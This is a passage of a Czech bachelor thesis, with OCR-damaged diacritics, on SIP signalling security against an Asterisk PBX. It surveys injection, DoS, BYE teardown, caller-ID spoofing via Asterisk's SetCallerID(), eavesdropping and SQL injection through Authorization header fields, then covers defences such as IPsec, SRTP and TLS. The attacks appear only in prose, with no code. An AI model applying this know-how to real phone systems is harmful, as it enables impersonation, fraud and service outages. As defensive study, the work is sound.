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ABSTRAKT

Tato bakalarska prace je zamérena na problematiku bezpecénosti signalizacniho protokolu
SIP. Cilem bylo realizovat tfi Gtoky a navrhnout obranu proti nim. Zvolenymi Gtoky byl
zaplavovy Gtok, Gtok s modifikovanymi zpravami a titok man-in-the-middle. Utoky byly
vedeny proti Ustfedné Asterisk a vysledky ukazuji, Ze nékteré itoky dokazaly znemoznit
komunikaci mezi ustfednou a klienty. Obranna opatteni jsou popsana u kazdého Gtoku
v podkapitole mitigace.
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ABSTRACT

This bachelor thesis focuses on security issues of the SIP signalling protocol. The goal
was to carry out three attacks and design defences against them. The chosen attacks
were a flood attack, a modified message attack and a man-in-the-middle attack. The
attacks were conducted against the Asterisk PBX and the results show that some attacks
were able to prevent communication between the PBX and clients. Defensive measures
are described for each attack in the mitigation subchapter.
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Uvod

VoIP (,Voice over Internet Protocol“) si béhem poslednich let zajistil pevné misto
v oblasti telefonnich sluzeb. Oproti siti PSTN (,Verejna telefonni sit“), kterd je
urcend pouze pro telefonni komunikaci, VoIP technologie vyuziva IP (,Internet Pro-
tocol®) sité k prenosu ruznych forem digitélnich dat. Tato vlastnost muze byt poten-
cionalnim utoc¢nikem zneuzita a muze vytvorit z téchto dat vektor utoku. V baka-
larské praci bude priblizeno, jaké ma tutoc¢nik moznosti, pokud jsou vektorem data
signalizac¢niho protokolu SIP (,,Protokol pro inicializaci relaci®).

Protokol SIP je jednim z nejvice pouzivanych signaliza¢nich protokoll v interne-
tové telefonii, proto je zajisténi jeho bezpecnosti velice dilezitym tkolem. Stéle je
velmi bézné, ze VolP prostiedi zalozend na protokolu SIP vyuzivaji pouze zakladni
bezpecnostni mechanismy. Tyto mechanismy neposkytuji témér zadné zabezpeceni
proti specifickym ttoktim na SIP.

Bakalatrska prace je zamérenad na popis téchto bezpecnostnich hrozeb a bezpec-
nostnich mechanismi, které jsou urceny k jejich mitigaci. Cilem bakalarské prace
neni vytvorit dokonale zabezpecenou SIP sit, ktera by byla schopnéd zneskodnit
vSechny utoky zamétené na protokol SIP. Jejim cilem je prestavit si tyto utoky
a demonstrovat, jak snadné je vytvorit utok, ktery ma zavazné nasledky pro nechra-
néné prostredi SIP protokolu.

Struktura bakalarské prace je sestavena nasledovné. V kapitole SIP protokol je
popsana architektura, metody a odpovédi protokolu SIP. Rozdéleni ttoku podle je-
jich zdméru popisuje kapitola typy tutokl. V kapitole bezpe¢nostni mechanismy pro-
tokolu SIP jsou popsany existujici mechanismy pro mitigaci potencionalnich ttok.

Utoky a bezpetnostni mechanismy jsou vybirdny na zdkladé mého prizkumu
v téchto oblastech. Prakticka c¢ast bakalarské prace je zamétrena na realizaci a miti-
gaci utoki na protokol SIP. Prvnim ttokem byl zaplavovy utok, realizovany néastro-
jem SIPp a mitigovany pomoci IPS (,,Systém prevence pruniku®). Druhym ttokem
byl atok s modifikovanymi zpravami. Prakticka cast je uzaviena ttoky MITM a moz-

nosti mitigace pomoci aplikace Sifrovani.
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1 SIP protokol

Protokol SIP je Siroce vyuzivany ve VoIP. SIP je protokolem aplikacni vrstvy a vy-
chazi z protokola HTTP (,,Hypertext Transfer Protocol“) a SMTP (,,Simple Mail
Transfer Protocol®).

Protokol SIP vyuziva architekturu klient-server a pouziti URL (,,Uniform Re-
source Locator®), URI (,,Uniform Resource Identifier*) z HTTP a z STMP pfte-
bird styl zahlavi a schéma kédovani textu [I]. Protokol je definovan ve standardu
RFC (,Request for Comments*) 3261 organizace IETF (,Internet Engineering Task
Force®).

Protokol SIP nabizi funkce obsluhy relace (vytvoteni, zménu, ukonceni). Pro-
tokol SIP vyuziva protokol SDP (,,Session Description Protocol®), ktery popisuje
relaci, a protokol RTP (,,Real-time Transport Protocol®), ktery je pouzit k pfenosu
hlasu a videa v siti. Protokol umoziuje jak unicastovy hovor (hovor mezi dvéma
tcastniky), tak multicastovy hovor (konferen¢ni hovor). SIP také zvlada vice da-
tovych streami, a tudiz mize poskytnout paralelni dorucovani prostredkt v ramci
jedné relace (napr. videohovor). Dalsi pouziti SIP zahrnuje ptrenos soubort, chato-

vani a online hry.

Identifikace volaného v siti SIP

Zatimco v bézné telefonni siti jsme zvykli identifikovat jednotlivé tcastniky pomoci
telefonniho ¢isla, v ramci SIP se pouziva URI resp. URL, coz poukazuje na to, jak

SIP vyuziva jiz existujici standardy [1].

1.1 Typy zprav

SIP je textové zalozeny protokol, ktery pouziva podobné schéma jako HTTP. SIP
protokol vyuziva UAS (,,User Agent Server®), coz je serverova aplikace, kterd prijima
zédosti od UAC (,,User Agent Client“) a generuje odpovédi. Kombinace UAC a UAS
se nazyva SIP UA (,,User Agent*). UA umoznuje peer-to-peer hovory za pouziti
klient-server architektury [2].

SIP definuje komunikaci skrze 2 typy zprév, témito typy jsou zadosti (metody)
a odpovédi (stavové kédy), které maji standardni formaty dle dokumentu RFC 2822.

1.1.1 SIP Zadosti

Nejdulezitejsi ¢ast SIP zadosti je prvni radek zpravy. Obsahuje nazev zadosti, identi-

fikator zadané adresy a verzi protokolu SIP. Existuje 14 metod pro klientské zadosti.
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INVITE: slouzi k zahajeni komunikace o planované relaci a zméné parametri
relace stavajici.

ACK: potvrzuje ustanoveni relace.

OPTIONS: zad4a informace o moznostech protistrany.

BYE: znaci ukonceni relace.

CANCEL: preruseni relace, ktera ¢eka na navazani.

INFO: prenos informaci béhem hovoru, které nezméni stav relace.
REGISTER: zadost o registraci klienta k registra¢nimu serveru.
MESSAGE: Zadost o doruceni textové zpravy.

SUBSCRIBE: zadost slouzi k vyzadani soucasného stavu a k ustanoveni

odbéru aktualizaci stavu na vzdaleném uzlu.

. NOTIFY: zZadosti jsou zasilany, aby informovaly pfedplatitele o zménach

stavu, na kterych ma predplatitel odbér.

PUBLISH: pouziva se k zvefejnéni stavu udélosti objektu odpovédnému za
sepsani stavu udalosti.

PRACK: docasné potvrzeni, reakce na doc¢asnou odpoved (1xx).

REFER: naznacuje ptijemci, ze by mél kontaktovat tfeti stranu pomoci kon-
taktnich informaci poskytnutych v metodé.

UPDATE: umoznuje klientovi aktualizovat vlastnosti relace.

1.1.2 SIP Odpovédi

Na SIP zadost odpovi ptijemce také zpravou. Zprava obsahuje verzi SIP, kod stavu

a kratky popis. Kod stavu je tvoren tfemi ¢islicemi, které rozlisuji rizné typy. Prvni

¢islice definuje kategorii odpoveédi.

Kategorie odpovédi:

1xx - Docasné odpovedi, pozadavek byl prijat a zpracovava se.
2xx - Uspéch, pozadavek byl GspéSné prijat a zpracovan.

3xx - Odpovédi na presmérovani.

4xx - Chyba zadosti, tzn. chyba je na strané klienta.

5xx - Chyba na strané serveru.

6xx - Globalni chyba, chyba, kterou nelze jakkoliv zpracovat.

1.2 Komponenty SIP

SIP definuje architekturu, v ramci které funguje a ktera sestava z nasledujicich

komponent:

14



1.2.1 User Agent

UA je koncovym zafizenim SIP sité. Stara se o navazovani spojeni s ostatnimi UA.
Nejcastéji se jedna o VoIP telefony a brany do jinych siti. V ramci UA se rozlisuje
¢ast UAC, kterd ma na starost zahajeni spojeni, a UAS, kterd odpovida na prichozi

zadosti. V koncovém zarizeni jsou implementovany obé ¢asti [2].

1.2.2 Servery

Servery maji za ukol zprosttedkovat kontakt mezi volajicimi a volanymi (tedy mezi
UA). Toto ale nevylucuje primy kontakt mezi koncovymi zafizenimi bez ucasti ser-
vert. Rozlisujeme tii typy SIP servert:

1. Proxy server: piijima zadosti o spojeni od UA nebo od jiného proxy serveru
a predava ji dalsimu proxy serveru, pokud nemé volanou stanici ve své sprave,
nebo volanému UA, pokud se nachézi v ramci jim spravované domény.

2. Redirect server: stejné jako proxy prijima zadosti o spojeni od UA nebo
proxy serveru. Pokud se zménilo misto doruceni, se kterym se snazi klient
spojit, server informuje klienta. S touto informaci muze klient znovu zahdjit
spojeni na nové misto doruceni.

3. Registracni server: prijima registracni zadosti od UA, a podle nich aktuali-
zuje databazi koncovych zafizeni, kterd jsou v rdmci domény spravovana.

Servery jsou definovany oddélené, ale v praxi se Casto jedna o jednu aplikaci, ktera
prijima registrace koncovych uzli, a podle konfigurace se chova bud jako proxy, nebo

redirect server [3].
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2 Typy utokii

Z hlediska bezpec¢nosti je pro SIP dilezitych nékolik faktori. Jednim z nejdilezitéj-
sich je textova podoba SIP protokolu a jeho podobnost s protokoly HT'TP a SMTP.
Diky této podobnosti miizeme aplikovat postupy pouzivané proti témto dvéma pro-
tokolim také na SIP [4].

2.1 Manipulace SIP zprav

Snaha havarovat server prenosem sekvence zprav. Utoky manipuluji textovymi ¢astmi

SIP zprav k odhaleni zranitelnosti [5].

Techniky uzité pro tento druh atokid jsou napriklad:

o SIP injekce
o RTP injekce
o Preteceni bufferu
« Utok na parser
Tyto techniky lze také vyuzit pro podvodnéa volani, preruseni sluzby i k ziskani

osobnich informaci [6].

2.1.1 SIP injekce

SIP je komplexni protokol s mnoha réiznymi zpravami. Utoénik mtze napadnout
aplikaci SIP, zptisobit selhani SIP serveru, uvést jej do nestabilniho stavu nebo nad

nim ziskat kontrolu injekei skodlivého kédu [7].

2.1.2 RTP Injekce

RTP protokol prenasi video nebo hlasova data, zaroven ale neposkytuje zadné sif-
rovani nebo autentizaci prendSenym médiim [§]. Uto¢nik je tedy schopen sledovat
zacatek komunikace mezi dvéma SIP zafizenimi. Z pozorovani je schopen urcit IP
adresu a ¢islo portu, kterému je zasilan RTP pfenos. Jakmile znéd tyto informace,
je utocnik schopen zahajit vlastni RTP prenos na vysledovanou IP adresu [§]. Toto
méa za vysledek, Ze jeden z volajicich bude prijimat spise utocnikovy RTP pakety

nez skutec¢nou konverzaci.

2.1.3 Obrana proti injekci v SIP protokolu

Moznymi opatienimi proti injekci v SIP jsou:
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« Sifrovani hlasu a videa k prevenci RTP injekce.

o Zavedeni autentizace tam, kde je to mozné.

o Pravidelné aktualizovat operacni systém i aplikace.

» Nasazeni VoIP IDS (,,Systém detekce pruniku“) nebo IPS pro odhaleni skod-
livého kédu zaméreného na VolP zafizeni. IDS by se mél naucit formaty SIP
zprav na zarizenich uvnitt sité, aby byl schopen detekovat SIP zpravy, které

se odlisuji [§].

2.1.4 Utok na parser

V tomto typu utoku utocnik sestavi deformovanou zpravu a posle ji na SIP ser-
ver. Kdyz server obdrzi tuto zpravu, muze dojit k nestandardnimu chovani nebo
padu serveru. Utok miZe byt realizovdn pouze tehdy, pokud ttoénik znd slabinu
v implementaci SIP na strané cile.

Zjisténi slabin mize utoc¢nik dosdhnout spoofingem REGISTER zpravy k odha-
leni moznosti cile [9)]. Uto¢nik pak vytvoi{ upraveny paket k napadeni cile. Utoénik
obvykle voli zaddosti, které nejsou obéti podporované, nebo vytvori pakety s prida-
nymi zahlavimi a daty, ktera nejsou pro konkrétni zaddost potfebna. Tento typ ttoku

vyusti v DoS (,,Denial of Service*) nebo ¢asové zpozdéni pii zpracovani hovoru.

2.1.5 Pteteceni bufferu

Utok vyuzivé zranitelnosti v implementaci SIP, ktera tto¢nikovi umoziiuje vloZeni
skodlivého kédu do zarizeni obéti, diky kterému nad nim ttocnik ziskd plnou kon-
trolu. Prikladem mohou byt Cisco IP telefony, které byly zranitelné a umoznovaly
tto¢nikovi spusténi skodlivého programu [I0]. VoIP software prevezme kazdou zra-
nitelnost operaéniho systému, na kterém bézi [§]. Nasledky tohoto ttoku mohou
byt velice zavazné vzhledem k tomu, Ze uto¢nik muze ziskat tiplnou kontrolu nad

systémem obéti.

2.2 Denial of Service

Utoky omezujici nebo zamezujici pistup k sluzbé tvoii dalsi skupinu ttoénych me-
tod. Cilem je zamezit skupiné uZivateli v pouziti VoIP. Ué¢inek tGtoku mize byt
omezen na jednotlivé uzivatele, ale i na proxy servery, a tim padem na celou VoIP

infrastrukturu [4]. DoS utoky lze rozdélit do dvou kategorii.

17



Software utoky

Miri na podstatu SIP protokolu a snazi se zpusobit pad serverové aplikace, nebo
o manipulaci s hovorem [II]. Software dtoky lze zafadit i do manipulace se SIP

zpravami. Prikladem muze byt session teardown ttok.

Hardware atoky

Snazi se o vycerpani dostupnych zdroju serveru a radi se mezi hlavni metody vy-
uzivané k DoS. Zameéruji se na jeden ze tii zdkladnich prostredki ke zpracovani
pozadavki. Tyto prostiedky jsou pamét, CPU (,Centralni procesorové jednotka“)

a sitové pripojeni [I1]. Piikladem mohou byt zaplavové ttoky.

2.2.1 Session teardown

Snaha o preruseni relace legitimniho uzivatele. Session teardown miuze utocnik reali-
zovat poslanim modifikované SIP BYE zpravy. Utoénik k ttoku potfebuje odchytit
cast komunikace mezi uzivateli, a z ni zjistit zdroj a cil. Na zakladé téchto informaci
je schopen vygenerovat zpravu, ktera se jevi, jako by ji poslal jeden z ucastniki.
Jakmile BYE zprava dosahne svého cile, je relace mezi ucastniky okamzité pre-
rusena. Podobny utok mize byt proveden upravenymi re-INVITE zpravami, které

upravuji parametry relace [12].

2.3 Kradez identity

Ukéazkovou hrozbou miize byt ito¢nik vydavajici se za odbératele zfalSovanim iden-
tifikacnich informaci. Sluzby jako automatické odpovédi pro banky nebo pojistovny

jsou implementovany tak, Ze autentizuji odbératele na zakladé téchto informaci[13].

2.3.1 Realizace kradeze identity

Kradez identifikac¢nich informaci muze byt provedena zménou zprav SIP protokolu
napt. pozménénim SIP INVITE. Tato zprava mtze byt vytvorena manualné pomoci
nastroje SIVuS. Dalsi moznosti je nastaveni PBX (,;Pobockova telefonni tstredna®)
Asterisk ke kradezi identifikac¢nich informaci. V souboru extensions.conf lze po-
uzit prikaz SetCallerID() na identitu, kterd méa byt odcizena. Nastaveni je jedno-
duché, ale vyzaduje manualni zadani ptrikazu, a pro kazdy hovor je potfeba Asterisk

restartovat [13].
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2.3.2 Utok prehranim

Princip spociva v zaslani autentické zpravy, kterd umozni ttocénikovi sestavit spo-
jeni s pifjemcem. Utok pfehrdnim je b&Zné hrozba pro klient-server systémy, které
pouzivaji zpravy jako komunikac¢ni prostiedek.

Prikladem téchto typt systému jsou systémy vyuzivajici protokoly HT'TP, SMTP
a SIP [14]. Utok prehranfm je snadny na realizaci. Utoénik odposlechne zpravu
tak si uzivatel, kterému byla zprava prehrana, mysli, ze mluvi s uzivatelem, od

kterého byla zprava odposlechnuta.

2.4 Odposlech

Protokol SIP neposkytuje sifrovani ani autentizaci prenasenym médiim. Tim padem
muze Gtoc¢nik jednoduse zachytit SIP komunikaci [I5].

Zachyceni SIP provozu je zdkladni metoda k odposlechu komunikace bez souhlasu
G¢astnik komunikace. Utoénik miize odposlechnout hovor, extrahovat RTP stream
a konvertovat ho do audio forméatu. Timto zplisobem muze utoc¢nik ziskat pristup
k osobnim informacim, heslim nebo divérnym informacim.

Pro zachovani divérnosti by nemélo byt mozné ani zjisténi fakti kdo, s kym, kdy
a jak dlouho hovoril [15]. Odposlech mize byt snadno realizovan napiiklad pomoci

programu Wireshark.

2.4.1 Obrana proti odposlechu

Vzhledem k principu IP protokolu neni jisté, kterou cestou v siti budou data pre-
nasena, proto je nejlepsi obranou zabranit itoc¢nikovi ve vstupu do sité. Pokud je
potfeba uskutecénit hovor mimo duvéryhodnou sit, je nezbytné data Sifrovat [15].
Sifrovani Ize realizovat pouzitim IPsec (,Internet Protocol Security“) pro veskery
provoz. Pro pfenos pouze audiovizudlnich dat lze pouzit protokol SRTP (,,Secure

Real-time Transport Protocol”).

2.5 Utoky na SIP autentizaci

SIP autentizace neposkytuje vysokou uroven zabezpeceni, protoze je zalozeno na
algoritmu MD5 (,,Message-Digest algorithm 5“) spiSe, nez na pouziti asymetrické
kryptografie [8]. SIP autentizace je zaloZena na principu vyzva/odpovéd, kde server

posila vyzvu klientovi, na kterou klient odpovi.
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Server ke kontrole odpovédi pouzije MD5 hash, do kterého bude vstupovat jméno
a heslo klienta, které ma server ulozené ve své databazi. Vypocet odpovédi je pro
server vypocetné nakladny tkol, protoze nejdiive musi projit svou databazi, kde
najde prislusné jméno a heslo, které pak zkombinuje s vyzvou, aby mohl spocitat

MD5 hash [§].

2.5.1 Autentizac¢ni DoS utok

Utoénik miiZe zneuzit autentizaéni mechanismus SIP protokolu generovanim velkého
mnozstvi odpovedi na kazdou vyzvu. Odpovédi mohou byt ndhodné nebo fixni, timto
zpusobem nemusi tto¢nik namahavé pocitat MD5 hash [8]. VSechny odpovédi selzou,
ale zaneprazdni server kontrolou falesnych odpovédi, a tudiz bude mit k dispozici

méné prosttedkl na zpracovani legitimnich pozadavk.

2.5.2 Slovnikovy utok

Autentizacni mechanismus protokolu SIP je jen tak silny, jako je uzivatelovo heslo.
K odhaleni slabého uzivatelského hesla miize tto¢nik pouzit slovnikovy utok. Slov-
nikovy ttok muze byt odhalen mnoha netspésnymi pokusy o prihlaseni.

Méné napadny utok muze byt proveden sledovanim komunikace s vyzvami a od-

povedmi, které jsou posilany nesifrované, k uhodnuti uzivatelského hesla.

Obrana proti Gatokiim na autentizaci

SIP proxy server by mél ovérit klientovu identitu pred nakladnym ovérovanim SIP
zprav [§]. Uzivatelé by méli pouzivat silnd hesla jako obranu pted slovnikovymi

utoky:.

2.6 SQL injekce

SIP servery pouzivaji databdze jako jsou MySQL, Postgress nebo Oracle a pouzi-
vaji SQL (,Strukturovany dotazovaci jazyk®) ptikazy ke spravovani uzivatelskych
informaci a dat ke spravovani VolIP sluzeb.

Tyto databaze jsou slozeny z mnoha tabulek, mezi kterymi je tabulka Subscriber
vysoce dulezitd, jelikoz jsou v ni uchovavany informace, které jsou potiebné k rizeni
VoIP. Tabulka Subscriber konkrétné uchovava data jako je uzivatelské jméno, do-
ména a heslo legitimnich uzivatela [16].

SQL injekce neni zavisla na databazi ani na implementaci SIP serveru, jediné

omezeni predstavuje rozhrani pro programovani aplikaci.
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2.6.1 Realizace SQL injekce

Textové zalozeni SIP protokolu umoznuje upravovat obsah zprav. Tento utok cili na
zmeénu udaji v databazi, popripadé jeji smazani, které by mélo za nasledek odepteni
sluzeb.

Utok je mozné vyvolat pokazdé, kdyz prvek SIP sité z4d4 o autentizaci [16].
Uto¢nik pozmén{ SIP zprévu tim, Ze do autorizacniho zahlavi p¥id4 $kodlivy SQL
piikaz. VSechny SIP zadosti, které vyzaduji autorizaci, mohou byt zneuzity pro
potencionalni utok SQL injekci. Pole username a realm v autorizacnim zahlavi

mohou byt vyuzita k prenosu skodlivého SQL prikazu [16].
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3 Bezpecnostni mechanismy protokolu SIP

Za tucelem vylouceni nebo snizeni rizika bezpecnostni hrozby lze na SIP protokol
aplikovat fadu bezpecnostnich opatieni. Obecné je struktura zprav SIP protokolu
podobnd zddostem/odpovédim v protokolu HTTP, tudiz lze vyuzit stejné bezpec-
nostni mechanismy jako v HTTP [17]. Protokol SIP pracuje na aplikacni vrstve,
proto je mozné pouzit bezpecnostni mechanismy zalozené na IP. Mechanismy za-
bezpeceni je mozno rozdeélit na:

1. Autentiza¢ni mechanismy

2. Sifrovani dat

3. Detekce naruseni

3.1 Autentiza¢ni mechanismy

Autentizace je pouzita k ovéreni odesilatele zpravy a ujisténi, ze zadné dulezité infor-
mace o zpraveé nebyly upraveny béhem prenosu. Tyto mechanismy se snazi ttoc¢ni-
kovi zabréanit v modifikaci SIP zadosti/odpovédi nebo jejimu prehrani. Protokol SIP
vyuziva pole zahlavi Proxy-Authenticate, Proxy-Authorization, Authorization
a WWwW-Authenticate, kterd jsou podobna tém v HTTP [18].

Autentizaci 1ze vykonat pouzitim protokolu transportni nebo sitové vrstvy, pri-

kladem mitize byt mechanismus IPsec.

3.1.1 HTTP zakladni autentizace

Zakladni autentizace HT'TP vyzaduje prenos uzivatelského jména a hesla vlozeného
do zahlavi pozadavku HT'TP. Tato informace, zahrnutd v SIP pozadavku, muze byt
vyuzita proxy serverem nebo cilovym UA k autentizaci predchoziho uzlu na cesté.

Diky prenosu v nesifrovaném textu mohou byt autentizacni tidaje snadno od-
poslechnuty a zneuzity, kvili tomuto bezpecnostnimu riziku je zakladni autentizace
HTTP zakdzdna v protokolu SIPv2 [19].

3.1.2 HTTP digest autentizace

Digest autentizace protokolu HTTP vylepsuje nedostatky zakladni autentizace pro-
tokolu HTTP prenosem fetézce, vytvoreného z hesla a nahodné vyzvy pomoci MD5
nebo SHA-1 (,,Secure Hash Algorithm 1“) hasovaci funkce [19].

Ackoli digest autentizace protokolu HTTP mé tu vyhodu, ze identita uzivatele
mize byt ovéfena bez potfeby prenaset nesifrované heslo, stale miize potencidlni
utoc¢nik realizovat slovnikovy ttok na zakladé odchycené hodnoty fetézce hasovaci

funkece.
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Dalsi velkou nevyhodou je nedostatek Sifrovani pro zajisténi davérnosti zprav.
Posledni nevyhodou je, ze HTTP digest autentizace nezajistuje integritu SIP zprav
[19].

3.1.3 AAA

Za ucelem autentizace, autorizace a sledovani zdroji vyuzivanych uzivatelem je pro
SIP zafizeni snazsi komunikovat s AAA (,Authentication, Authorization and Ac-
counting“) serverem, nez uchovdvat uzivatelské idaje a profily lokalné.

Protokol AAA umoznuje administratorum dynamicky ménit vyzadované typy
autentizace a autorizace. AAA protokol také poskytuje vyhody pro mobilni uzivatele.

Propojeni heterogennich siti v multimedialnich sluzbach zalozenych na SIP ob-
vykle vyzaduje, aby byl ptistup nezavisly na konkrétnim typu sité [20]. Tato skutec-
nost umoznuje mobilnim uzivateltim, vyuzivajicich roamingu, pristup k multimedi-
alnim sluzbam v rtznych administrativnich doménéch.

Pro poskytnuti AAA sluzeb v takto proménnych prostiedich je potieba vyuzit
protokoli jako je RADIUS (,Uzivatelskd vytacena sluzba pro vzdalenou autenti-
zaci®) nebo DIAMETER. Oba tyto protokoly byly navrzeny k pouziti v jadru SIP
architektury [20]. SIP orientované aplikace protokolit RADIUS a DIAMETER se
mohou pouzit v SIP prostiedi, kde je potreba autentizace a autorizace k vyuziti
SIP prostredkt. Pro vyuziti vyhod AAA sluzeb je potreba splinovat bezpecnostni
pozadavky definované v RFC 3702 [21].

3.1.4 SAML

Definuje aplikaéni ramec zaloZzeny na XML (,,Extensible Markup Language®) pro
vyménu bezpecnostnich tvrzeni (napf. sada atributi pro autentizaci a autorizaci)
mezi subjekty [17].

SAML (,,Security Assertion Markup Language®) lze pouzit k vytvoreni tvrzeni,
kazdé tvrzeni obsahuje identifikaci, jméno subjektu, bezpecnostni doménu, pod-
minky pro ovéreni tvrzeni, vydavatele tvrzeni, podpis.

Tvrzeni muze byt predano dalsi strané, ktera na néj bude do urcité miry spoléhat,
napft. jej vlozi do své lokalni politiky, aby vyhodnotila, zda mé poskytnout své zdroje
strané, ktera poskytla tvrzeni.

Takovyto pripad je obecné uskuteénén v urcitém kontextu pouziti. Timto kontex-
tem muze byt rozhodnuti, zda prijmout a jednat na zakladé SIP zpravy k zahajeni
komunikace.

SAML je pro SIP sité prospésny, ale také obsahuje nékolik bezpecnostnich ri-

zik. Takovym rizikem muze byt moznost utoku prehranim, pokud implementace
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SAMLu nevyhovuje bezpecnostnim hlediskiim definovanym v RFC 8224 [22]. Tvr-
zeni SAMLu neprovadéji autentizaci, ale slouzi pouze k zapouzdieni tohoto procesu

autentizace [17].

3.2 Sifrovani dat

Sifrovani dat se pouziva k zajisténi dévérnosti SIP komunikace, pouze zamysleny
pifjemce dat je schopen data desifrovat a predist. Sifrovani se obvykle provadi pomoci
sifrovacich algoritmu jako DES (,,Data Encryption Standard“) a AES (,,Advanced
Encryption Standard®).

SIP podporuje dvé formy Sifrovani: end-to-end a hop-by-hop. End-to-end Sifro-
vani poskytuje divérnost pro vSechny informace, které neni potreba precist mezi-
lehlymi proxy servery. End-to-end Sifrovani miize byt vykonano napt. mechanismem
S/MIME (,,Secure/Multipurpose Internet Mail Extensions®). Sifrovani hop-by-hop
sifruje celou SIP zpravu, pouziva se pro ochranu informaci, ke kterym maji pristup
mezilehlé uzly. Témito informacemi mohou byt zédhlavi From, To a Via [1§].

Sifrovani téchto informaci miize zabranit potencionalnimu ttoénikovi uréit, kdo
komu telefonuje, nebo znepiistupnit informace o trase. Sifrovani typu hop-by-hop

lze provést pomoci externich bezpecnostnich mechanismu.

3.2.1 IPsec

[Psec je mechanismus, ktery lze pouzit pro ochranu SIP zprav na trovni sitové
vrstvy. IPsec pouziva protokoly AH (,,Authentication Header“) a ESP (,,Encapsula-
ting Security Payload®).

Protokol AH zajistuje autentizaci ptijemce i odesilatele, integritu dat v hlavicce,
ale nesifruje vlastni data. Protokol ESP pridava sifrovani paketl, pri¢emz nijak
nechrani vnéjsi hlavicku, ani nezajistuje jeji integritu. Kazdy proxy server na cesté
musi mit prava ¢ist a zapisovat do SIP zahlavi. IPsec ESP nebo AH v prenosovém
rezimu, ve kterém je obvykle zasifrovan a nebo ovéren pouze obsah daného paketu,
se musi aplikovat na kazdém tseku cesty.

Nezbytna bezpecnostni spojeni mohou byt ustanovena bud permanentné, bez
aktivni ucasti SIP UA, nebo za béhu, pomoci UA a proxy server, které komunikuji
se zasobnikem IPsec.

Protokol IKE (,Internet Key Exchange“), ktery se pouziva k ustanoveni I[Psec
spojeni, umoznuje autentizaci zalozenou jak na PSK (,,Predsdileny kli¢*), tak na PKI
(,Public Key Infrastructure®) [19]. IP adresy UA jsou vétsinou dynamické, a proto

v tomto pripadé nebude fungovat hlavni rezim IKE s predsdilenym tajemstvim.
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Agresivni rezim IKE obsahuje bezpecnostni problémy (MITM, off-line slovnikové

utoky), tudiz vetfejné klice budou uprednostnovanou autentiza¢ni metodou [19].

3.2.2 S/MIME

Protokol SIP muze prenaset zpravy standardu MIME (, Vicetucelova rozsifeni inter-
netové posty“). Standard MIME popisuje mechanismy k zabezpeceni obsahu MIME
zprav. K zajiSténi integrity nebo duvérnosti se vyuzije application/pkcs7-mime
a multipart/signed typi MIME. X.509 certifikaty jsou pouzity k identifikaci uzi-
vatelt na zdkladé jejich emailové adresy, kterd je soucasti SIP URI [23].

Podpis téla standardu MIME nepredstavuje problém, protoze kazdy uzivatel ma
pristup ke svému soukromému kli¢i a uzivatelsky certifikat muze byt prijemci predan
vlozenim do pfilohy pkcs7-mime nebo pkcs7-signature.

S/MIME poskytuje sadu funkei, ze kterych SIP protokol vyuzije zaprvé funkci
tunelovani autentizace a integrity a zadruhé funkei tunelovani sifrovani [23]. Toto
feseni vyzaduje nasazeni globdlni MIME PKI, jinak budou vyménéné verejné klice
podepsané sami sebou, coz prinasi riziko, ze poc¢atecni vyména kli¢ti bude zranitelna
utoky MITM (,Man-In-The-Middle“). IPsec a S/MIME generuji znacné mnozstvi
rezie v SIP zpravach, ale jesté dulezitéjsi je, ze nemohou chranit integritu a divérnost
celé SIP zpravy.

Kvili existujicim omezenim tpravy zahlavi musi mit mezilehlé uzly pristup k SIP

zéhlavi, aby mohly zpracovat a nasmérovat SIP zpravu do svého cile [23].

3.2.3 SRTP

Protokol SRTP definuje profil protokolu RTP, pouzivany k zajisténi sifrovani, in-
tegrity a autentizace zprav. Tento profil také poskytuje ochranu pred ttokem pre-
hranim RTP dat jak v unicastovych, tak multicastovych aplikacich. SRTP definuje
sadu vychozich kryptografickych transformaci a umoznuje v budoucnu pridavat nové.
S vhodnou spravou kli¢i je SRTP bezpecny pro unicastové i multicastové RTP apli-
kace [24]. Protocol SRTP miuze doséhnout velké propustnosti pii malé zméné veli-
kosti paketu. Protokol SRTP je vhodny pro ochranu heterogennich siti (kombinace
bezdratovych a kabelovych siti).

Pro zajisténi téchto funkci jsou vychozi transformace pro sifrovani zalozeny na
proudovych Sifrach, autentizace zprav je zaloZzena na kédu HMAC (,Hash-based
Message Authentication Code®), ktery se pocita s pouzitim kryptografické hasovaci

funkce v kombinaci s tajnym Sifrovacim klicem [24].
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3.24 TLS

Protokol TLS (,, Transport Layer Security®) je jeden z nejvice pouzivanych protokolt
k zabezpeceni sifového provozu. Protokol je vyuzivan k zabezpeceni jak webového
provozu, tak internetovych protokolu jako je IMAP (,Internet Message Access Pro-
tocol“) nebo POP (,,Post Office Protocol”).

Hlavni vyhoda TLS spociva v tom, ze poskytuje transparentni spojovy kanal
[25]. Diky témto vlastnostem je snadné zabezpecit aplika¢ni protokol vlozenim pro-
tokolu TLS mezi aplika¢ni a transportni vrstvu. Protokol TLS musi byt aplikovan
na spolehlivy kandl, typicky TCP (,, Transmission Control Protocol®), proto nemuze
byt pouzit k zabezpeceni nespolehlivého datagramového provozu. Pocet aplikacnich
protokoli vyuzivajicich prenos UDP (,User Datagram Protocol“) neustdle roste.
Konkrétné protokol jako je SIP nebo protokoly vyuzivané v hernim primyslu jsou
stale vice popularni. Protokol SIP sice mtze vyuzivat protokol TCP, ale v nékterych
pripadech je vhodnéjsi vyuzit protokol UDP.

Bezpecnostni protokoly aplika¢ni vrstvy obecné poskytuji vynikajici bezpec-
nostni vlastnosti. V mnoha pripadech je pouziti protokolu TLS nejzadanéjsim zpt-
sobem, jak zabezpecit aplikace typu klient-server. Bohuzel pozadavky na pouziti
datagramového prenosu znemoznuji pouziti protokolu TLS, tudiz by bylo zadouci
pouzit variantu protokolu TLS pouzitelnou pro datagramovy ptrenos. Takovym pro-
tokolem je DTLS (,,Datagram Transport Layer Security®), ktery je zimérné navrzen
podobné jako protokol TLS, aby uleh¢il tvorbu a maximalizoval opétovné pouziti

kédu a infrastruktury [25].

3.2.5 SIPS

Protokol SIPS (,,Session Initiation Protocol Secure®) je ochranny mechanismus vy-
uzivajici end-to-end Ssifrovani pro pozadované zdroje nebo sluzby. Protokol SIPS
poskytuje zabezpecenou komunikaci mezi koncovymi stranami a je povazovan za
ekvivalent HTTPS. Adresni schéma protokolu SIPS ma stejnou strukturu jako SIP
protokol, jedinou odchylkou v adrese je zména ze ,sip:“ na ,,sips:®

Protokol SIPS k zabezpeceni komunikace mezi koncovymi stranami pouziva pro-
tokol TLS [23]. V soucasné dobé existuje nékolik SIP klientt a sifovych serveri,
které implementuji SIP a TLS oddélené.

3.3 Systémy priniku

